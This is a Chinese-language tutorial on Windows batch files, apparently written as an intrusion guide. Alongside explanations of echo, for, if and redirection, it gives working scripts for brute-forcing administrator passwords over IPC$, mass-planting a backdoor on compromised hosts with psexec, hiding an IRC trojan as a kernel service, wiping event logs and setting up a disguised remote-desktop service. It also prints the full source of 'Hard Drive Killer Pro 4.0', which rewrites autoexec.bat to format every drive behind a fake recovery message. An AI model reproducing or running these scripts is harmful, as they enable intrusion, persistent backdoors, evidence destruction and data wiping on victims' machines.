.cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用,例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。
一.简单批处理内部命令简介
1.Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo
命令将显示当前回显设置。
语法
echo [{on off}] [message]
Sample:@echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用>
>> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。
2.@ 命令
表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format
这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)
3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label
(label是参数,指定所要转向的批处理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto
noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。
4.Rem 命令
注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
Rem Message
Sample:@Rem Here is the description.
5.Pause 命令
运行 Pause 命令时,将显示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中,驱动器 A
中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器
A 时,pause
命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。
6.Call 命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call
命令接受用作调用目标的标签。如果在脚本或批处理文件外使用
Call,它将不会在命令行起作用。
语法
call [[Drive:][Path] FileName [BatchParameters]] [:label
[arguments]]
参数
[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名称。filename
参数必须具有 .bat 或 .cmd 扩展名。
7.start 命令
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE
不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。
8.choice 命令
choice
使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag
(应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件运行后,将显示 defrag,mem,end[D,M,E]?
用户可选择d m e
,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto
end将程序跳到end标号处,然后程序将显示good
bye,文件结束。
9.If 命令
if
表示将判断是否符合规定的条件,从而决定执行不同的命令。
有三种格式:
1、if "参数" == "字符串" 待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2、if exist 文件名 待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 数字
待执行的命令
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2
DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。
10.for 命令
for
命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时,指定变量请使用
%%variable
for {%variable %%variable} in (set) do command [
CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters
为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用
%%variable
而不要用
%variable。变量名称是区分大小写的,所以 %i 不同于 %I
如果命令扩展名被启用,下列额外的 FOR
命令格式会受到
支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
检查以 [drive:]path
为根的目录树,指向每个目录中的FOR 语句。如果在 /R
后没有指定目录,则使用当前目录。如果集仅为一个单点(.)字符,则枚举该目录树。
FOR /L %variable IN (start,step,end) DO command [command-para
该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
或者,如果有 usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
filenameset 为一个或多个文件名。继续到 filenameset
中的
下一个文件之前,每份文件都已被打开、读取并经过处理。
处理包括读取文件,将其分成一行行的文字,然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用 For 循环。以默认方式,/F
通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选
"options"
参数替代默认解析操作。这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。这些关键字为:
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx -
指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n -
指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
符号字符串中的最后一个字符星号,
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在
fi中使用双引号扩起文件名称。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do
command
会分析 myfile.txt
中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给
for 程序体;用逗号和/或空格定界符号。请注意,这个
for 程序体的语句引用 %i 来取得第二个符号,引用 %j
来取得第三个符号,引用
%k来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用
usebackq
选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。
%i 专门在 for 语句中得到说明,%j 和 %k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens=
一行指定最多 26
个符号,只要不试图说明一个高于字母 z 或Z
的变量。请记住,FOR
变量是单一字母、分大小写和全局的同时不能有 52
个以上都在使用中。
您还可以在相邻字符串上使用 FOR /F
分析逻辑;方法是,用单引号将括号之间的 filenameset
括起来。这样,该字符串会被当作一个文件中的一个单一输入行。
最后,您可以用 FOR /F
命令来分析命令的输出。方法是,将括号之间的
filenameset
变成一个反括字符串。该字符串会被当作命令行,传递到一个子
CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚举当前环境中的环境变量名称。
另外,FOR
变量参照的替换已被增强。您现在可以使用下列
选项语法:
~I - 删除任何引号("),扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I
扩充到找到的第一个完全合格的名称。如果环境变量未被定义,或者没有找到文件,此组合键会扩充空字符串
可以组合修饰符来得到多重结果:
%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I
扩充到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR
在以上例子中,%I 和 PATH
可用其他有效数值代替。%~ 语法
用一个有效的 FOR 变量名终止。选取类似 %I
的大写变量名比较易读,而且避免与不分大小写的组合键混淆。
以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。
sample2:
利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \\ip\ipc$ "password"
/u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。
最主要的命令是一条:for /f i% in (dict.txt) do net use
\\ip\ipc$ "i%" /u:"administrator"
用i%来表示admin的密码,在dict.txt中这个取i%的值用net
use
命令来连接。然后将程序运行结果传递给find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%"
/u:"administrator" find ":命令成功完成">>D:\ok.txt
,这样就ko了。
sample3:
你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。
主要命令也只有一条:(在批处理文件中使用 FOR
命令时,指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call
door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i
%j %k。
而cultivate.bat无非就是用net
use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If
errorlever
=)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims=
表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i
%%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:
--------------- cut here then save as a batchfile(I call it
main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call
IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it
main.bat ) ---------------------------
------------------- cut here then save as a batchfile(I call it
door.bat) -----------------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1
echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1
Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it
door.bat) --------------------------------
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.
批处理中可以使用参数,一般从1%到
9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。
sample1:fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat
a,呵呵,好像有点画蛇添足了~^_^
sample2:
当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip
password username
当着参数来赋给这个批处理,这样就不用每次都打命令了。
@echo off
@net use \\1%\ipc$ "2%" /u:"3%"
注意哦,这里PASSWORD是第二个参数。
@if errorlevel 1 echo connection failed
怎么样,使用参数还是比较简单的吧?你这么帅一定学会了^_^.No.3
三.如何使用组合命令(Compound Command)
1.&
Usage:第一条命令 & 第二条命令 [& 第三条命令...]
用这种方法可以同时执行多条命令,而不管命令是否执行成功
Sample:
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:51
.
2002-05-14 23:51
..
2002-05-14 23:51 14 sometips.gif
3.
Usage:第一条命令 第二条命令 [
第三条命令...]
用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;
Sample:
C:\Ex4rch>dir sometips.gif del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C:\Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
组合命令使用的例子:
sample:
@copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo
IP %1 USER %2 PASS %3 >>victim.txt
四、管道命令的使用
1. 命令
Usage:第一条命令 第二条命令 [
第三条命令...]
将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。
sample:
time /t>>D:\IP.log
netstat -n -p tcp find ":3389">>D:\IP.log
start Explorer
看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个bat,以获得登录用户的IP。
2.>、>>输出重定向命令
将一条命令或某个程序输出结果的重定向到特定文件中,
> 与 >>的区别在于,>会清除调原有文件中的内容后写入指定文件,而>>只会追加内容到指定文件中,而不会改动其中的内容。
sample1:
echo hello world>c:\hello.txt (stupid example?)
sample2:
时下DLL木马盛行,我们知道system32是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,DLL马也不例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的EXE和DLL文件作一个记录:
运行CMD--转换目录到system32--dir *.exe>exeback.txt & dir
*.dll>dllback.txt,
这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,
日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.
这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt
dllback1.txt>diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好,如果有的话也不要直接DEL掉,先用regsvr32
/u
trojan.dll将后门DLL文件注销掉,再把它移到回收站里,若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。
3.< 、>& 、<&
< 从文件中而不是从键盘中读入命令输入。
>&
将一个句柄的输出写入到另一个句柄的输入中。
<&
从一个句柄读取输入并将其写入到另一个句柄输出中。
这些并不常用,也就不多做介绍。
No.5
五.如何用批处理文件来操作注册表
在入侵过程中经常回操作注册表的特定的键值来实现一定的目的,例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性,这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件)
关于注册表的操作,常见的是创建、修改、删除。
1.创建
创建分为两种,一种是创建子项(Subkey)
我们创建一个文件,内容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]
然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创建了一个名字为“hacker”的子项。
另一种是创建一个项目名称
那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]"Invader"="Ex4rch"
"Door"=C:\\WINNT\\system32\\door.exe
"Autodos"=dword:02
这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下
新建了:Invader、door、about这三个项目
Invader的类型是“String Value”
door的类型是“REG SZ Value”
Autodos的类型是“DWORD Value”
2.修改
修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit
/s)即可。
3.删除
我们首先来说说删除一个项目名称,我们创建一个如下的文件:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Ex4rch"=-
执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被删除了;
我们再看看删除一个子项,我们创建一个如下的脚本:
Windows Registry Editor Version 5.00
[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已经被删除了。
相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。
samlpe1:如上面的那个例子,如想生成如下注册表文件
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
只需要这样:
@echo Windows Registry Editor Version 5.00>>Sample.reg
@echo
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg
@echo "Autodos"=dword:02>>Sample.reg
samlpe2:
我们现在在使用一些比较老的木马时,
可能会在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
>>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname=
WindowsDriver binpath= c:\winnt\system32\windrv32.exe
@regedit /s patch.dll
@delete patch.dll
@REM
[删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动]
@REM 这样不是更安全^_^.
六.精彩实例放送。
1.删除win2k/xp系统默认共享的批处理
------------------------ cut here then save as .bat or .cmd file
---------------------------
@echo preparing to delete all the default shares.when ready pres
any key.
@pause
@echo off
:Rem check parameters if null show usage.
if {%1}=={} goto :Usage
:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default
properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:\delshare.reg
echo
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>>
c:\delshare.reg
echo "AutoShareWks"=dword:00000000>> c:\delshare.reg
echo "AutoShareServer"=dword:00000000>> c:\delshare.reg
echo Nowing using the registry file to chang the system default
properties.
regedit /s c:\delshare.reg
echo Deleting the temprotarily files.
del c:\delshare.reg
goto :END
:Usage
echo.
echo ------------------------------------------------------
echo.
echo ☆ A example for batch file ☆
echo ☆ [Use batch file to change the sysytem share properties.]
☆
echo.
echo Author:Ex4rch
echo Mail:Ex4...@hotmail.com QQ:1672602
echo.
echo Error:Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance,to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: ,Please chang it
youself.
echo.
echo example:
echo If locak disklable are C: D: E: X: Y: Z: ,you should chang
the command into :
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ------------------------------------------------------
goto :EOF
:END
echo.
echo ------------------------------------------------------
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail to Ex4...@hotmail.com.
echo
echo.
echo ------------------------------------------------------
echo.
:EOF
echo end of the batch file
------------------------ cut here then save as .bat or .cmd file
---------------------------
------------------------ cut here then save as .bat or .cmd
file ---------------------------
下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的terminnal
service留跳后路。
@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q
@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q
@del c:\winnt\system32\config\*.event /f /q
@del c:\winnt\system32dtclog\*.* /f /q
@del c:\winnt\*.txt /f /q
@del c:\winnt\*.log /f /q
@net start w3svc
@net start event log
@rem [删除日志]
@net stop lanmanserver /y
@net stop Schedule /y
@net stop RemoteRegistry /y
@del patch.dll
@echo The server has been patched,Have fun.
@del patch.bat
@REM [禁止一些危险的服务。]
@echo
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp] >>patch.dll
@echo "PortNumber"=dword:00002010 >>patch.dll
@echo
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\Wds\rdpwd\Tds\tcp >>patch.dll
@echo "PortNumber"=dword:00002012 >>patch.dll
@echo
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD]
>>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService]
>>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo "ErrorControl"=dword:00000001 >>patch.dll
@echo
"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\
>>patch.dll
@echo
74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\
>>patch.dll
@echo
00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00
>>patch.dll
@echo "ObjectName"="LocalSystem" >>patch.dll
@echo "Type"=dword:00000010 >>patch.dll
@echo "Description"="Keep record of the program and windows
message。" >>patch.dll
@echo "DisplayName"="Microsoft EventLog" >>patch.dll
@echo
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice]
>>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@copy c:\winnt\system32\termsrv.exe
c:\winnt\system32\eventlog.exe
@REM
[修改3389连接,端口为8210(十六进制为00002012),名称为Microsoft
EventLog,留条后路]
3.Hard Drive Killer Pro Version
4.0(玩批处理到这个水平真的不容易了。)
------------------------ cut here then save as .bat or .cmd file
---------------------------
@echo off
rem This program is dedecated to a very special person that does
not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive
variable.
set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings,
dont worry about how it
rem works, its d\*amn to complicated for the average or even the
expert batch programmer.
rem Except for Tom Lavedas.
echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul
>{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem When errorlevel is 1, then the above is not true, if 0, then
its true.
rem Opposite of binary rules. If 0, it will elaps to the next
command.
echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find
"bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if errorlevel is 1, then the drive specified is a removable
media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.
echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul
>{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if its errorlevel 1, then the specified drive is a hard or
floppy drive.
rem if its not errorlevel 1, then the specified drive is a CD-ROM
drive.
echo :enddc >>drivechk.bat
rem Drive checking insertion ends here. "enddc" stands for "end
dDRIVE cHECKING".
rem Now we will use the program drivechk.bat to attain valid
drive information.
:Sampledrv
for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c
:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows
recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u
/autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows
recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul
>>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows
recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul
>>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows
recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u
/autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows
recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul
>>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows
recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul
>>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of death. Munga Bungas Multiple
Hard Drive Killer version 4.0. >>c:\autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The
purpose of this program is to tell you the following. . .
>>c:\autoexec.bat
echo echo 1. To make people aware that security should not be
taken for granted. >>c:\autoexec.bat
echo echo 2. Love is important, if you have it, truly, dont let
go of it like I did! >>c:\autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a
murderer, and Im glad your HD is dead. >>c:\autoexec.bat
echo echo 4. Dont support the following: War, Racism, Drugs and
the Liberal Party.>>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Regards, >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Munga Bunga >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat
:makedir
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist
%%2\nul cd %%2") do %%%%a >>c:\temp.bat
echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone
@$$hole!!!! >>c:\temp.bat
echo if not exist
%%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul
goto startmd >>c:\temp.bat
call attrib +r +h c:\temp.bat >nul
cls
echo Initializing Variables . . .
rem deltree /y %%a:\*. only eliminates directories, hence leaving
the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
